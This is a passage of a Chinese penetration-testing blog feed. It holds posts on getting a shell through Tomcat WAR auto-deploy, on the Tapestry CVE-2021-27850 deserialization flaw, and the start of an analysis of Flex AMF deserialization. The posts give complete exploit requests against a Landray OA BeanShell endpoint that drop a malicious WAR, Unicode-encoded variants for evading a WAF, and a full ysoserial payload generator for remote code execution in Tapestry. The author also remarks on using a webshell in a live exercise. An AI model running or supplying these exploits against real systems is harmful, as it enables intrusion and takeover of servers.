<span class="hljs-number">0</span>, a);<br>    &#125;<br><br>    out.write(<span class="hljs-string">&quot;&lt;pre&gt;&quot;</span> + <span class="hljs-keyword">new</span> String(baos.toByteArray()) + <span class="hljs-string">&quot;&lt;/pre&gt;&quot;</span>);<br>%&gt;<br><br></code></pre></div></td></tr></table></figure><p>马儿首次用于zj省hw，效果甚好</p>]]></content>
    
    
    <categories>
      
      <category>渗透测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>渗透测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>利用tomcat自动部署机制getshell</title>
    <link href="/2022/06/01/82/"/>
    <url>/2022/06/01/82/</url>
    
    <content type="html"><![CDATA[<p>当目标检测&lt;%，写不了jsp马或者不出网弹不了shell，或者写了shell但是因为目录要权限登录而用不了时可以尝试考虑以下方法</p><p><img src="/images/82/s2TtkoMTN_br_bkBZD1faEBKjxzYpWhliNWhVzu7n98.png" alt="image"></p><p>上图场景模仿自蓝凌oa的代码执行，poc：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">import java.lang.*;import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass(<span class="hljs-string">&quot;bsh.Interpreter&quot;</span>);String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File f=new File(path.split(<span class="hljs-string">&quot;WEB-INF&quot;</span>)[0]+<span class="hljs-string">&quot;../loginx.jsp&quot;</span>);f.createNewFile();FileOutputStream fout=new FileOutputStream(f);fout.write(new sun.misc.BASE64Decoder().decodeBuffer(<span class="hljs-string">&quot;base64内容&quot;</span>));fout.close;<br></code></pre></div></td></tr></table></figure><h1 id="demo演示："><a href="#demo演示：" class="headerlink" title="demo演示："></a>demo演示：</h1><p>因为poc是将二进制数据写入到文件里，而war包正好是二进制数据，可以利用写进war包来绕过标签的限制达到获取权限的目的</p><p>准备好一个恶意war包，并将war包编码成base64<br><code>cat exploit.war | base64 &gt; 1.txt</code></p><p>发送请求将数据写入到war中</p><p><img src="/images/82/RgrHDHKAPK-cxLprxF-SxdU5bTBN3Qpip4M49y_dwM.png" alt="image"></p><p>其中str参数是war包的base64编码</p><p>tomcat扫描到目录下的状态变化，开始更新，aaaa.war被释放</p><p><img src="/images/82/aIcZ9gfx0HiM0smmSM1dQCtC1LOusM4FwbhdyIDWkHo.png" alt="image"></p><p>访问被释放的恶意war</p><p><img src="/images/82/5MNzR55tOuuMUT-5KtKJEnPA3PbN6renm_uwDiRrXDg.png" alt="image"></p><h1 id="对应的实战场景"><a href="#对应的实战场景" class="headerlink" title="对应的实战场景"></a>对应的实战场景</h1><p>将本地生成好的数据写到目标目录下的war包中</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">import+java.lang.*;import+java.io.*;Class+cls=Thread.currentThread().getContextClassLoader().loadClass(<span class="hljs-string">&quot;bsh.Interpreter&quot;</span>);String+path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File+f=new+File(path.split(<span class="hljs-string">&quot;WEB-INF&quot;</span>)[0]+<span class="hljs-string">&quot;../evilWar.war&quot;</span>);//这里写war项目f.createNewFile();FileOutputStream+fout=new+FileOutputStream(f);fout.write(new+sun.misc.BASE64Decoder().decodeBuffer(<span class="hljs-string">&quot;base64编码后的恶意的war包&quot;</span>));fout.close;<br></code></pre></div></td></tr></table></figure><p>发送完整poc：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_241<br>Host: 0.0.0.0<br>Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2<br>Connection: keep-alive<br>Content-type: application/x-www-form-urlencoded<br>Content-Length: <br><br>var=&#123;<span class="hljs-string">&quot;body&quot;</span>:&#123;<span class="hljs-string">&quot;file&quot;</span>:<span class="hljs-string">&quot;/sys/common/dataxml.jsp&quot;</span>&#125;&#125;&amp;s_bean=sysFormulaValidate&amp;script=import+java.lang.*;import+java.io.*;Class+cls=Thread.currentThread().getContextClassLoader().loadClass(<span class="hljs-string">&quot;bsh.Interpreter&quot;</span>);String+path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File+f=new+File(path.split(<span class="hljs-string">&quot;WEB-INF&quot;</span>)[0]+<span class="hljs-string">&quot;../evilWar.war&quot;</span>);//这里写war项目f.createNewFile();FileOutputStream+fout=new+FileOutputStream(f);fout.write(new+sun.misc.BASE64Decoder().decodeBuffer(<span class="hljs-string">&quot;base64编码后的恶意的war包&quot;</span>));fout.close;&amp;<span class="hljs-built_in">type</span>=int&amp;modelName=<span class="hljs-built_in">test</span><br></code></pre></div></td></tr></table></figure><p>如果waf拦截，可以将代码转为unicode</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">import java.lang.*;import java.io.*;Class cls=Thread.currentThread().getContextClassLoader().loadClass(<span class="hljs-string">&quot;bsh.Interpreter&quot;</span>);String path=cls.getProtectionDomain().getCodeSource().getLocation().getPath();File f=new File(path.split(<span class="hljs-string">&quot;WEB-INF&quot;</span>)[0]+<span class="hljs-string">&quot;../yourproject.war&quot;</span>);f.createNewFile();FileOutputStream fout=new FileOutputStream(f);fout.write(new sun.misc.BASE64Decoder().decodeBuffer<br></code></pre></div></td></tr></table></figure><p><img src="/images/82/2GZtMuY6DFjy8jvP659rrKH3OgRKjRTN1ziFcWh1Mk0.png" alt="image"></p><p>发送完整poc：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1<br>Cache-Control: no-cache<br>Pragma: no-cache<br>User-Agent: Java/1.8.0_241<br>Host: 0.0.0.0<br>Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2<br>Connection: keep-alive<br>Content-type: application/x-www-form-urlencoded<br>Content-Length: 6044<br><br>var=&#123;<span class="hljs-string">&quot;body&quot;</span>:&#123;<span class="hljs-string">&quot;file&quot;</span>:<span class="hljs-string">&quot;/sys/common/dataxml.jsp&quot;</span>&#125;&#125;&amp;s_bean=sysFormulaValidate&amp;script=%5cu0069%5cu006d%5cu0070%5cu006f%5cu0072%5cu0074%5cu0020%5cu006a%5cu0061%5cu0076%5cu0061%5cu002e%5cu006c%5cu0061%5cu006e%5cu0067%5cu002e%5cu002a%5cu003b%5cu0069%5cu006d%5cu0070%5cu006f%5cu0072%5cu0074%5cu0020%5cu006a%5cu0061%5cu0076%5cu0061%5cu002e%5cu0069%5cu006f%5cu002e%5cu002a%5cu003b%5cu0043%5cu006c%5cu0061%5cu0073%5cu0073%5cu0020%5cu0063%5cu006c%5cu0073%5cu003d%5cu0054%5cu0068%5cu0072%5cu0065%5cu0061%5cu0064%5cu002e%5cu0063%5cu0075%5cu0072%5cu0072%5cu0065%5cu006e%5cu0074%5cu0054%5cu0068%5cu0072%5cu0065%5cu0061%5cu0064%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu0043%5cu006f%5cu006e%5cu0074%5cu0065%5cu0078%5cu0074%5cu0043%5cu006c%5cu0061%5cu0073%5cu0073%5cu004c%5cu006f%5cu0061%5cu0064%5cu0065%5cu0072%5cu0028%5cu0029%5cu002e%5cu006c%5cu006f%5cu0061%5cu0064%5cu0043%5cu006c%5cu0061%5cu0073%5cu0073%5cu0028%5cu0022%5cu0062%5cu0073%5cu0068%5cu002e%5cu0049%5cu006e%5cu0074%5cu0065%5cu0072%5cu0070%5cu0072%5cu0065%5cu0074%5cu0065%5cu0072%5cu0022%5cu0029%5cu003b%5cu0053%5cu0074%5cu0072%5cu0069%5cu006e%5cu0067%5cu0020%5cu0070%5cu0061%5cu0074%5cu0068%5cu003d%5cu0063%5cu006c%5cu0073%5cu002e%5cu0067%5cu0065%5cu0074%5cu0050%5cu0072%5cu006f%5cu0074%5cu0065%5cu0063%5cu0074%5cu0069%5cu006f%5cu006e%5cu0044%5cu006f%5cu006d%5cu0061%5cu0069%5cu006e%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu0043%5cu006f%5cu0064%5cu0065%5cu0053%5cu006f%5cu0075%5cu0072%5cu0063%5cu0065%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu004c%5cu006f%5cu0063%5cu0061%5cu0074%5cu0069%5cu006f%5cu006e%5cu0028%5cu0029%5cu002e%5cu0067%5cu0065%5cu0074%5cu0050%5cu0061%5cu0074%5cu0068%5cu0028%5cu0029%5cu003b%5cu0046%5cu0069%5cu006c%5cu0065%5cu0020%5cu0066%5cu003d%5cu006e%5cu0065%5cu0077%5cu0020%5cu0046%5cu0069%5cu006c%5cu0065%5cu0028%5cu0070%5cu0061%5cu0074%5cu0068%5cu002e%5cu0073%5cu0070%5cu006c%5cu0069%5cu0074%5cu0028%5cu0022%5cu0057%5cu0045%5cu0042%5cu002d%5cu0049%5cu004e%5cu0046%5cu0022%5cu0029%5cu005b%5cu0030%5cu005d%5cu002b%5cu0022%5cu002e%5cu002e%5cu002f%5cu0079%5cu006f%5cu0075%5cu0072%5cu0070%5cu0072%5cu006f%5cu006a%5cu0065%5cu0063%5cu0074%5cu002e%5cu0077%5cu0061%5cu0072%5cu0022%5cu0029%5cu003b%5cu0066%5cu002e%5cu0063%5cu0072%5cu0065%5cu0061%5cu0074%5cu0065%5cu004e%5cu0065%5cu0077%5cu0046%5cu0069%5cu006c%5cu0065%5cu0028%5cu0029%5cu003b%5cu0046%5cu0069%5cu006c%5cu0065%5cu004f%5cu0075%5cu0074%5cu0070%5cu0075%5cu0074%5cu0053%5cu0074%5cu0072%5cu0065%5cu0061%5cu006d%5cu0020%5cu0066%5cu006f%5cu0075%5cu0074%5cu003d%5cu006e%5cu0065%5cu0077%5cu0020%5cu0046%5cu0069%5cu006c%5cu0065%5cu004f%5cu0075%5cu0074%5cu0070%5cu0075%5cu0074%5cu0053%5cu0074%5cu0072%5cu0065%5cu0061%5cu006d%5cu0028%5cu0066%5cu0029%5cu003b%5cu0066%5cu006f%5cu0075%5cu0074%5cu002e%5cu0077%5cu0072%5cu0069%5cu0074%5cu0065%5cu0028%5cu006e%5cu0065%5cu0077%5cu0020%5cu0073%5cu0075%5cu006e%5cu002e%5cu006d%5cu0069%5cu0073%5cu0063%5cu002e%5cu0042%5cu0041%5cu0053%5cu0045%5cu0036%5cu0034%5cu0044%5cu0065%5cu0063%5cu006f%5cu0064%5cu0065%5cu0072%5cu0028%5cu0029%5cu002e%5cu0064%5cu0065%5cu0063%5cu006f%5cu0064%5cu0065%5cu0042%5cu0075%5cu0066%5cu0066%5cu0065%5cu0072(<span class="hljs-string">&quot;base64后的war包&quot;</span>));fout.close();&amp;<span class="hljs-built_in">type</span>=int&amp;modelName=<span class="hljs-built_in">test</span><br></code></pre></div></td></tr></table></figure><p>如果还不行就把base64再unicode编码一次，看各位大佬的发挥，这里因为就tomcat会自动部署war包的事做一次思路记录</p>]]></content>
    
    
    <categories>
      
      <category>渗透测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>渗透测试</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>tapestry反序列化 CVE-2021-27850分析</title>
    <link href="/2022/05/31/81/"/>
    <url>/2022/05/31/81/</url>
    
    <content type="html"><![CDATA[<p>漏洞最早可以追溯到&lt;5.3.6版本的tapestry</p><p>触发点在FROM类，该类专门用于处理表单</p><p><code>tapestry-core/src/main/java/org/apache/tapestry5/corelib/components/Form.java</code></p><p>首先有两个注意的地方</p><p>第一个地方：</p><p>表单在点击按钮后会出现一个值为<code>t:submit</code>的name属性，待会会有针对这个的判断</p><p><img src="/images/81/BxuHJ5YzVQDiw1f-EIFvjD842rWggi-uuWUZiiWGuvw.png" alt="image"></p><p><img src="/images/81/S-eW3JFwPv58CucJSNnh3A5KiracIIFBt9G6N30vMFM.png" alt="image"></p><p>第二个地方：</p><p><img src="/images/81/UEMDVNX6yMkWkSmyfgTuxiMCN-r7fqiW8b68kkq2J8s.png" alt="image"></p><p>将断点打在<code>onAction</code>方法查看事件处理流程</p><p>走到<code>if (this.isFormCancelled())</code> ，根据返回的布尔类型来进入相应的处理 </p><p><img src="/images/81/LnF2S6fBSwrjjMTZNldDAbAPLAmlaov0YtEymAAbiZw.png" alt="image"></p><p><img src="/images/81/W8mzj2n3iPvLvrMhhxH5LYpMkRCOwkf3_YhxURSGveE.png" alt="image"></p><p>走到<code>this.executeStoredActions();</code>在该方法中会获取<code>t:fromdata</code>的值来进行处理</p><p><img src="/images/81/LfVPFnPs-Es2YjvtWP5TkaFCiDLXY-A3G0xT7wmx8LM.png" alt="image"></p><p>跟进<code>decodeClientData</code></p><p><code>tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java</code></p><p><img src="/images/81/LHIFi8VEYaSgbZAjF4JNhFzE0if1bm9UeEmeXKz11ng.png" alt="image"></p><p>最后进行反序列化，漏洞触发</p><p><img src="/images/81/B_i6nYu8tp9DRTFx_4AQVpHrx6vFZDTqjieDE35NMVY.png" alt="image"></p><p>官方在5.3.6及以后（5.4.0-5.6.1，5.7.0）的版本中并没有针对readObject进行修复，而是增加了HMAC，用途是对序列化的数据进行加密，Tapestry的所有序列化数据传输都需要使用HMAC Key进行加密，具体见</p><p><a href="https://tapestry.apache.org/security.html">https://tapestry.apache.org/security.html</a></p><p><img src="/images/81/dkKBj59IEg9Us_FQd2ETPuw9TYF3mEujYngjAvOKqds.png" alt="image"></p><p>官方原本想的是通过校验签名来防止数据被篡改，然而即使使用HmacSHA1算法加密也不能保证反序列化不被利用，这时候就要说到Tapestry 的另一个漏洞：Tapestry 任意文件下载(CVE-2019-0195)，详见<a href="https://www.modb.pro/db/113860">https://www.modb.pro/db/113860</a>，可以通过搭配文件下载下载包含有硬编码密钥的class来利用反序列化漏洞，原理类似于shiro的rememberMe反序列化</p><p>继续看看加了加密机制后的tapestry，这里用的是5.4.0</p><p>直接看到<code>decodeClientData</code>方法</p><p>在<code>decodeClientData</code>方法中处理<code>t:formdata</code>的值 </p><p><img src="/images/81/fVqPr8u_ZA-opcJ1FsX7sVAy5NkvamKmp6bE_iCksN0.png" alt="image"></p><p>取得<code>clientStream</code>后进行base64解码</p><p><img src="/images/81/d3QUa_st_-tgcPGPpZqzNQCGRI4mxXYNRKLPG5lVRQM.png" alt="image"></p><p>在经过<code>validateHMAC</code>方法校验签名无误后，把base64解码后的<code>clientStream</code>再进行一次gzip解码，随后将解码后的<code>clientStream</code>封装成对象输入流</p><p><img src="/images/81/6FRk4WjL9DYCyNjH4709n4qlO-pllFXhNbQ3vgZmfvE.png" alt="image"></p><p>再进行反序列化操作，漏洞产生</p><p><img src="/images/81/Oz_W0J0-hghI-dkzAhjESbKmAnsbciEa50MLItXfEsM.png" alt="image"></p><p>可以看到在<code>decodeClientData</code>方法中加了对<code>t:fromdata</code>内容的处理，且加了一个<code>ois.readBoolean()</code></p><p>在<code>validateHMAC</code>方法中，<code>this.hmackey</code>即包含有HmacSHA1加密算法的<code>SecretKeySpaec</code>对象</p><p><code>tapestry-core/src/main/java/org/apache/tapestry5/internal/services/ClientDataEncoderImpl.java</code></p><p><img src="/images/81/O1FFAuzAo1eWExeq8phUhAPYbYLJCZ8PGv5hKF9vwnc.png" alt="image"></p><p><code>passphrase</code>来自<code>@Symbol</code></p><p><img src="/images/81/zKRKRcVGO0hQ8i_srqTGnoA5ZzhH1enYYGUW1MZnQCI.png" alt="image"></p><p><code>HMAC_PASSPHRASE</code>即加密密钥</p><p><img src="/images/81/If8QyzwA2GQCdvrB85UzqN-8jKLbx0W53k9fMiQWm8M.png" alt="image"></p><p>总结其编码模式：</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">总结其编码模式：<br><br>&lt;5.3.6版本：Gzip-&gt;base64<br><br>&#x3D;&gt;5.3.6版本：Gzip-&gt;Hmacsha1-&gt;base64<br></code></pre></div></td></tr></table></figure><p>根据网上的文章改造一下能用的 ，在ysoserial中引用一下5.3.6版本的Tapestry依赖，在payload目录中新建一个TapestryrcePOC 类，使用CommonsCollections6来触发漏洞</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">package ysoserial.payloads;<br><br>&#x2F;**<br> * @Author:novy<br> * @Date:10:40 2022&#x2F;4&#x2F;23<br> * @Version 1.0<br> * 参数输入格式：密钥 命令<br> **&#x2F;<br>import org.apache.tapestry5.internal.services.ClientDataEncoderImpl;<br>import org.apache.tapestry5.internal.services.URLEncoderImpl;<br>import org.apache.tapestry5.services.ClientDataEncoder;<br>import org.apache.tapestry5.services.ClientDataSink;<br>import ysoserial.payloads.annotation.Authors;<br>import ysoserial.payloads.annotation.Dependencies;<br>import ysoserial.payloads.templates.TomcatFilterMemShellFromJMX;<br>import ysoserial.payloads.util.PayloadRunner;<br><br>import java.io.ObjectOutputStream;<br><br>@SuppressWarnings(&#123;&quot;rawtypes&quot;, &quot;unchecked&quot;&#125;)<br>@Dependencies(&#123;&quot;org:tapestry:5.4.0 to 5.6.1 cc6,please add hmac key and command,eg:12345 calc&quot;&#125;)<br>public class TapestryrcePOC extends PayloadRunner implements ObjectPayload&lt;Object&gt; &#123;<br>    public static void main(final String[] args) throws Exception &#123;<br>        String s &#x3D; (String) new TapestryrcePOC().getObject(CommonsCollections6.class.getName(), args); &#x2F;&#x2F;这里根据情况改利用链<br>        System.out.println(&quot;payload:&quot;+s);<br>    &#125;<br>    public String getObject(String gadgetsName, boolean needBase64, String... args) throws Exception &#123;<br>        String key, command &#x3D; null;<br>        if (args.length &#x3D;&#x3D; 0) &#123;<br>            System.out.println(&quot;please add hmac key and command,eg:12345 calc&quot;);<br>        &#125;<br>        if (args.length &lt; 1) &#123;<br>            System.out.println(&quot;please add hmac key&quot;);<br>        &#125;<br>        if (args.length &lt; 2) &#123;<br>            System.out.println(&quot;please add command&quot;);<br>        &#125;else&#123;<br>            command &#x3D; args[1];<br>        &#125;<br>        &#x2F;&#x2F;密钥<br>        key &#x3D; args[0];<br>        Class clazz &#x3D; Class.forName(gadgetsName);<br>        ObjectPayload gadgets &#x3D; (ObjectPayload) clazz.newInstance();<br>        Object obj &#x3D; gadgets.getObject(command);<br>        URLEncoderImpl urlEncoder &#x3D; new URLEncoderImpl();<br>        ClientDataEncoder cde &#x3D; new ClientDataEncoderImpl(urlEncoder, key, null, null, null);<br>        ClientDataSink cds &#x3D; cde.createSink();<br>        ObjectOutputStream oos &#x3D; cds.getObjectOutputStream();<br>        oos.writeUTF(&quot;wecat_iH&quot;);<br>        oos.writeBoolean(false);<br>        oos.writeObject(obj);<br>        return cds.getClientData();<br>    &#125;<br>    @Override<br>    public Object getObject(String command) throws Exception &#123;<br>        return getObject(command, null);<br>    &#125;<br>    public Object getObject(String gadgetName, String... args) throws Exception &#123;<br>        return getObject(gadgetName, true, args);<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p>生成payload后，可以直接将payload复制到表单请求</p><p><img src="/images/81/TRmGDc49c712elN4FmWY0RPXhE4eATy5VLjeFk9Ngik.png" alt="image"></p><p><img src="/images/81/5ngAXWipAgSXkgHnAHEyMXTwgUyl-3UyhnL6bjJLUPE.png" alt="image"></p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://www.imangodoc.com/23732.html">https://www.imangodoc.com/23732.html</a></p><p><a href="https://blog.csdn.net/wyswlp/article/details/6704545">https://blog.csdn.net/wyswlp/article/details/6704545</a></p><p><a href="https://blog.csdn.net/u012749355/article/details/38440613?locationNum=5&fps=1">https://blog.csdn.net/u012749355/article/details/38440613?locationNum=5&amp;fps=1</a></p><p><a href="https://tapestry.apache.org/security.html">https://tapestry.apache.org/security.html</a></p><p><a href="https://www.modb.pro/db/113860">https://www.modb.pro/db/113860</a></p><p><a href="https://www.4hou.com/posts/ovEk">https://www.4hou.com/posts/ovEk</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>flex反序列化原理及利用链构造</title>
    <link href="/2022/05/30/105/"/>
    <url>/2022/05/30/105/</url>
    
    <content type="html"><![CDATA[<p><code>WEB-INF\web.xml</code></p><p><code>MessageBrokerServlet</code>类处理<code>/messagebroker/*</code>请求</p><p><img src="/images/105/d5gsCsBhccCvMeXDmfpW5KkwJ8oFBLMZ8sN5FydOk4o.png" alt="image"></p><p>在<code>MessageBrokerServlet</code>的<code>service</code>方法中，先将<code>HttpServletRequest</code>等对象存到<code>FlexContext</code>的变量<code>ThreadLocalObjects</code>中</p><p><img src="/images/105/ak7hyWPlYWHVepuszhbhB4uk6_945G9JMzY86-uL0ls.png" alt="image"></p><p>随后根据<code>endpointPath</code>去获取对应的<code>endpoint</code></p><p><img src="/images/105/Rg2h6T8Uisq62lR5MLqQxYqG1UoRVBQS4r4NQBvwfIk.png" alt="image"></p><p><img src="/images/105/nrtSKBENVxIxNwE2e1OelbIHiNHe180VSw46seEJALM.png" alt="image"></p><p>而<code>web.xml</code>已经指定过配置文件</p><p><img src="/images/105/89UbW5_BSyiXVxQYYRqRijimqH-g_hvBGxJ-mWMDRYA.png" alt="image"></p><p>在配置文件中可以看到是由<code>AMFEndpoint</code>来处理<code>/messagebroker/amf</code>这个请求（<code>endpointPath</code>），即<code>endpointPath</code>的<code>endpoint</code>就是<code>AMFEndpoint</code>类</p><p><img src="/images/105/WQj_hNFS-RhwWuHgCRT6wnCKC8M4xmwjQ5Pf3PBv5I.png" alt="image"></p><p>回到<code>MessageBrokerServlet.class</code></p><p>在得到处理请求的类后就使用该类的<code>service</code>方法处理请求</p><p><img src="/images/105/mkLf80QJPhcBca2m2cTtdbXo1G9y-qUg3SmfZfsP1mU.png" alt="image"></p><p>在前面的代码中可以看到<code>endpoint</code>的对象类型是<code>Endpoint</code>，而<code>Endpoint</code>是一个接口，所以要找到该接口的实现类</p><p><img src="/images/105/w6FVNssxfyvj8DFaYjmzHHyvucNkqsqU8wvcxFcsxzU.png" alt="image"></p><p>所以实际就是<code>BaseHTTPEndpoint</code>的<code>service</code>方法来处理<code>/amf</code>请求</p><p>在<code>service</code>方法中，会交由<code>filterChain.invoke</code>处理上下文内容</p><p><img src="/images/105/VJ96U3NSmVd-9g2AZ8nx2nlDslo6qSMuKbEUVNYTXIY.png" alt="image"></p><p><code>filterChain</code>：</p><p><img src="/images/105/UlY_FX7Udo00GKT9d-DR7uempHSkMG2PJLY-210R49M.png" alt="image"></p><p><code>createFilterChain</code>是一个抽象方法</p><p><img src="/images/105/56HnPr4d13CZ05R2PT9E5OtaBpxfJ_hyAo8TixUz8B0.png" alt="image"></p><p>需要找到实现他的子类，即<code>AMFEndpoint</code></p><p><img src="/images/105/j809tUtk32qMHg44v83GAnG6yW9Qa5OPNYhHGmlOGMo.png" alt="image"></p><p>跟进<code>SerializationFilter</code>类查看<code>invoke</code>方法</p><p>其会获取输入流封装到<code>deserializer</code>对象</p><p><img src="/images/105/mVE93JxCihVTest8E4Dg64ZMcLSrcFlutlx1EAWXeGk.png" alt="image"></p><p>具体可以看到<code>getHttpRequest</code>方法返回的内容就是之前存在<code>threadLocalObject</code>里的信息</p><p><img src="/images/105/hXznrm4Qek_Q5BKkP90J-OvMeduALt0OZa2lFzjqEFk.png" alt="image"></p><p><code>initialize</code>方法：</p><p><img src="/images/105/TDPPRcxmZe8OZVYqsjxtiiXdKDFSzJYLo6iNV9zuNN0.png" alt="image"></p><p>随后进入到<code>readMessage</code>处理上下文内容</p><p><img src="/images/105/VJ6Awb20V7yqgsaNawv_FOLdfhvduVwQZRHoqBSnWTg.png" alt="image"></p><p>在<code>readMessage</code>方法中，会执行三次<code>readUnsignedShort</code>方法分别获取<code>version</code>、<code>headersCount</code>和<code>bodyCount</code></p><p>漏洞触发主要在<code>bodyCount</code></p><p><img src="/images/105/81885deOqQA7yi0iLxweQ12b2JIAU3XO-49rJj1iu0Q.png" alt="image"></p><p>走到<code>readBody</code></p><p><img src="/images/105/5N5PEBsiGZJf4jP15RVSjdGhzU3SCD3GRQVrH5mXo6A.png" alt="image"></p><p>进入到<code>readObject</code>方法</p><p>因为之前初始化的时候赋值过，所以这的<code>amfIn</code>就是<code>Amf0Input</code>对象，即这里的<code>readObject</code>其实是<code>Amf0Input</code>的<code>readObject</code></p><p><img src="/images/105/Hzl8-6Up1Mu1MPXTVqFRmN9rAaBQx0DPaJT097o3SbE.png" alt="image"></p><p>跟进<code>Amf0Input</code>查看<code>readObject</code>方法，该方法会先读取传入的数据字节，然后根据不同的属性进入对应的方法进行处理</p><p><img src="/images/105/C479PFrvzPk9fheNbkOWzPKTH-nklYaPk35PSeqcQyc.png" alt="image"></p><p>查看<code>readObjectValue</code></p><p>已知<code>type</code>是<code>amfIn.readUnsignedShort</code> 获取得来，<code>type</code>是<code>2</code>字节，这里会首先读取<code>1</code>字节，当读取的值是<code>17</code>时（序列化时写入）就会再初始化一次<code>avmPlusInput</code>，并进入到<code>readObject</code>方法</p><p><img src="/images/105/4eHoOxMiQalRodhJ0BNtvYB7_feQzgooynge-Z6TyoE.png" alt="image"></p><p>在<code>readObject</code>方法中，再读取<code>1</code>字节</p><p><img src="/images/105/1G8EVvtgM2BEz02TjWNTM_2t4a-8IPunlIiAFo9e0RQ.png" alt="image"></p><p>跟进<code>readObjectValue</code>方法，当读到的值是<code>10</code>时（序列化时写入）就会进入到<code>readScriptObject</code>方法</p><p><img src="/images/105/FjLKXguDpC-7n6uy3lxdRnhgTZTbdM0X94ndvtxvBM0.png" alt="image"></p><p>在<code>readScriptObject</code>方法中，会根据传入的类名返回一个对象</p><p><img src="/images/105/LxH9D4p9XwH1S5dPYGtEpbV49Qp1XgCU_Jv0liua-jc.png" alt="image"></p><p>跟进<code>getClassFromClassName</code>查看具体实现</p><p><img src="/images/105/Selgp_mnSTDJB3w8BzAhc6vN6ePYavFbNG53fjokGE0.png" alt="image"></p><p><code>createClass</code>方法会返回一个初始化的对象</p><p><img src="/images/105/r0otCl0kWrRT9NkxFZQskcpAak8BCraxXdKY_O_busM.png" alt="image"></p><p>然后会将对象传进<code>getProxyAndRegister</code>方法查找对应的属性代理，用于处理对象的属性读写，如果注册表中存在，则传进<code>createDefaultInstance</code>方法实例化对象</p><p><img src="/images/105/d518ERlMnDoFyD2WJArLHO9ynpx7j18iEgGx43gqQjk.png" alt="image"></p><p>然而注册表里只有几个异常和Map对象</p><p>具体可以看<code>getRegistry</code>方法：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span 